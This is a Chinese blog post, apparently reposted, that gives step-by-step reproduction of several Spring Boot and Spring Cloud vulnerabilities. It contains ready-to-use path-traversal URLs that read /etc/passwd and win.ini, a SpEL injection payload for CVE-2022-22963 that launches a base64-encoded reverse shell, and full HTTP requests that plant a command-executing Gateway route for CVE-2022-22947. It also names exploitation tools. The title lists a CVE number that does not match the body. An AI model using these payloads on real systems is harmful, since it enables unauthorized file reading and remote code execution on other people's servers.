Spring Boot 目錄遍歷--表達式注入--代碼執(zhí)行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)
Spring Boot 目錄遍歷 (CVE-2021-21234)
漏洞簡介
spring-boot-actuator-logview 是一個簡單的日志文件查看器作為Spring Boot執(zhí)行器端點,在 0.2.13 版本之前存在著目錄遍歷漏洞,編號 CVE-2021-21234。漏洞本質是Spring Boot 執(zhí)行器通過請求的參數來指定文件名和文件夾路徑,經過組合拼接達到目錄遍歷,雖然源碼中檢查了文件名(filename)參數來防止目錄遍歷,但是沒有檢查文件夾(base)參數,造成了目錄遍歷
影響范圍
spring-boot-actuator-logview < 0.2.13
漏洞復現
Windows:
http://<target_url>/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
http://<target_url>/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
Linux:
http://<target_url>/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
http://<target_url>/log/view?filename=/etc/passwd&base=../../../../../../../../../../
Spring Cloud Function Spel表達式注入(CVE-2022-22963)
漏洞簡介
Spring Cloud Function提供了一個通用的模型,用于在各種平臺上部署基于函數的軟件,包括像Amazon AWS Lambda這樣的 FaaS(函數即服務,function as a service)平臺。
影響范圍
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞復現
POC:
POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,反彈shell命令base64編碼}|{base64,-d}|{bash,-i}")
Spring Cloud Gateway遠程代碼執(zhí)行漏洞(CVE-2022-22947)
漏洞簡介
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 構建的網關,它旨在為微服務架構提供一種簡單、有效、統一的 API 路由管理方式。當啟用或暴露不安全的 Gateway Actuator 端點時,使用 Spring Cloud Gateway 的應用程序容易受到代碼注入攻擊,遠程攻擊者可以通過發(fā)送惡意請求以執(zhí)行 SpEL 表達式,從而在目標服務器上執(zhí)行任意惡意代碼,獲取系統權限
影響范圍
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他舊的、不受支持的Spring Cloud Gateway 版本
漏洞復現
- 手工復現
添加執(zhí)行id命令的名為test的路由,狀態(tài)碼返回201即正確添加
POST /actuator/gateway/routes/test HTTP/1.1
Host: 目標主機
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 333
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新路由,狀態(tài)碼返回200正確
POST /actuator/gateway/refresh HTTP/1.1
Host:目標主機
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
直接訪問路由
/actuator/gateway/routes/test
- 自動化工具
SpringBootExploit
直接訪問地址執(zhí)行命令即可
/?cmd=
Spring Framework遠程代碼執(zhí)行漏洞 (CVE-2022-22965)
漏洞參考
深度解析丨Spring框架遠程命令執(zhí)行漏洞復現及流量特征分析(CVE-2022-22965)
文章來源:http://www.zghlxwxcb.cn/news/detail-710585.html
自動化工具
Spring4Shell-POC
SpringBoot-Scan
不知到為啥,手工和工具都有可能翻車,多試幾次。文章來源地址http://www.zghlxwxcb.cn/news/detail-710585.html
到了這里,關于Spring Boot 目錄遍歷--表達式注入--代碼執(zhí)行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!